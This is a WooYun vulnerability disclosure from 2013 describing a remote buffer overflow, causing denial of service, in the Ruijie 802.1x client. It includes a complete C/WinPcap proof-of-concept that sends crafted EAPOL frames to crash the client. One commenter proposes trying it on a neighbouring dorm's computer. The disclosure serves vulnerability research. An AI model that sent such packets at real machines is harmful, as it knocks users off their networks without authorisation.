当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-019896

漏洞标题:锐捷 802.1x客户端远程缓冲区溢出漏洞

相关厂商:锐捷

漏洞作者: cssembly

提交时间:2013-03-11 11:22

修复时间:2013-06-09 11:22

公开时间:2013-06-09 11:22

漏洞类型:拒绝服务

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-03-11: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-06-09: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

锐捷802.1x客户端存在远程缓冲区溢出漏洞,当发送恶意的数据包到客户端,会造成远程缓冲区溢出导致拒绝服务

详细说明:

通过查看IDA反汇编结果,可以看到sub_465920函数中

.PNG


memcpy拷贝数据的长度是可控的,由程序接收到的数据包中的第26,27字节决定,而程序并未进行有效的校验,导致缓冲区溢出,造成拒绝服务

漏洞证明:

poc代码:

#include <pcap.h>
#pragma comment( lib , "wpcap.lib" )
int _tmain(int argc, _TCHAR* argv[])
{
pcap_t *fp;
char errbuf[PCAP_ERRBUF_SIZE];
u_char packet[3000];
pcap_if_t *alldevs;
/* Check the validity of the command line */
if(pcap_findalldevs(&alldevs, errbuf) == -1)
{
fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
exit(1);
}
pcap_if_t *d;
int i = 0;
/* Print the list */
for(d=alldevs; d; d=d->next)
{
printf("%d. %s", ++i, d->name);
if (d->description)
printf(" (%s)\n", d->description);
else
printf(" (No description available)\n");
}
/* 选择相应网卡*/
if ((fp = pcap_open_live(alldevs->name, // name of the device
65536, // portion of the packet to capture. It doesn't matter in this case
1, // promiscuous mode (nonzero means promiscuous)
1000, // read timeout
errbuf // error buffer
)) == NULL)
{
fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", argv[1]);
return 2;
}
memset( packet , 0 , 1000 );

/* 目标机器mac地址 */
packet[0]= 0x00;
packet[1]= 0x0C;
packet[2]= 0x29;
packet[3]= 0x0F;
packet[4]= 0x63;
packet[5]= 0xDD;
/* set mac source to 2:2:2:2:2:2 */
packet[6]= 2;
packet[7]= 2;
packet[8]= 2;
packet[9]= 2;
packet[10]= 2;
packet[11]= 2;
/* 协议头 */
packet[12] = 0x88;
packet[13] = 0x8e;
packet[14] = 0x01;
packet[15] = 0x00;
packet[16] = 0xFF;//>4
packet[17] = 0xFF;//>4
packet[18] = 0x03;

packet[22] = 0x00;//
packet[23] = 0x00;//
packet[24] = 0x13;//
packet[25] = 0x11;//
packet[26] = 0xEE;//
packet[27] = 0xFF;//
/* Send down the packet */
if (pcap_sendpacket(fp, // Adapter
packet, // buffer with the packet
100 // size
) != 0)
{
fprintf(stderr,"\nError sending the packet: %s\n", pcap_geterr(fp));
return 3;
}
Sleep( 100 );
if (pcap_sendpacket(fp, // Adapter
packet, // buffer with the packet
100 // size
) != 0)
{
fprintf(stderr,"\nError sending the packet: %s\n", pcap_geterr(fp));
return 3;
}
pcap_close(fp);
return 0;
}


运行程序

.PNG


输入用户名和密码点击连接

1.PNG


运行poc代码

2.PNG


客户端程序溢出,并退出

修复方案:

版权声明:转载请注明来源 cssembly@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论

  1. 2013-03-11 11:37 | none ( 实习白帽子 | Rank:40 漏洞数:5 | 十次十次啊 hack it then know more~)

    CA-2002-06 radius服务器那个洞子? 现在多数设备厂商支持1x中继的路由交换设备 或者AAA服务器本身都是较老的radius版本修改后商业化的 并没有跟着国际的版本走 导致这中间的漏洞无从处理。

  2. 2013-03-11 11:49 | cssembly ( 普通白帽子 | Rank:202 漏洞数:23 | 天资不足,勤奋有余!)

    @none 不是,我没看过那个洞,自己挖的,不清楚

  3. 2013-03-11 12:21 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:17 | 当我又回首一切,这个世界会好吗?)

    @none 不过你说的是个问题啊

  4. 2013-04-28 13:54 | 射不出来 ( 路人 | Rank:7 漏洞数:4 | 我是来混的...)

    这个不是该公开了么?

  5. 2013-06-09 12:25 | 锁相环 ( 路人 | Rank:4 漏洞数:3 | NULL)

    略神奇的样子,晚上对隔壁寝室的机器试试~

  6. 2013-06-09 15:07 | cssembly ( 普通白帽子 | Rank:202 漏洞数:23 | 天资不足,勤奋有余!)

    @锁相环 这个是需要一定的条件的,估计很难

  7. 2013-06-12 19:12 | warrioj4 ( 路人 | Rank:4 漏洞数:2 | 专注工具30年)

    @cssembly 貌似锐捷的交换机对以太网帧有过滤 我们学校就是用锐捷的 寝室的2层交换机接在学校的三层交换机上 把目的MAC换成隔壁寝室电脑的MAC 隔壁寝室的电脑并没有收到这个以太网帧 我们是同一网段的 还有 能否请教一下 大牛 如何入门成为一名二进制白帽?

  8. 2013-06-12 19:15 | warrioj4 ( 路人 | Rank:4 漏洞数:2 | 专注工具30年)

    @cssembly 这个应该也只能针对同一网段进行攻击 非同一网段需要感染其它网段的机器吧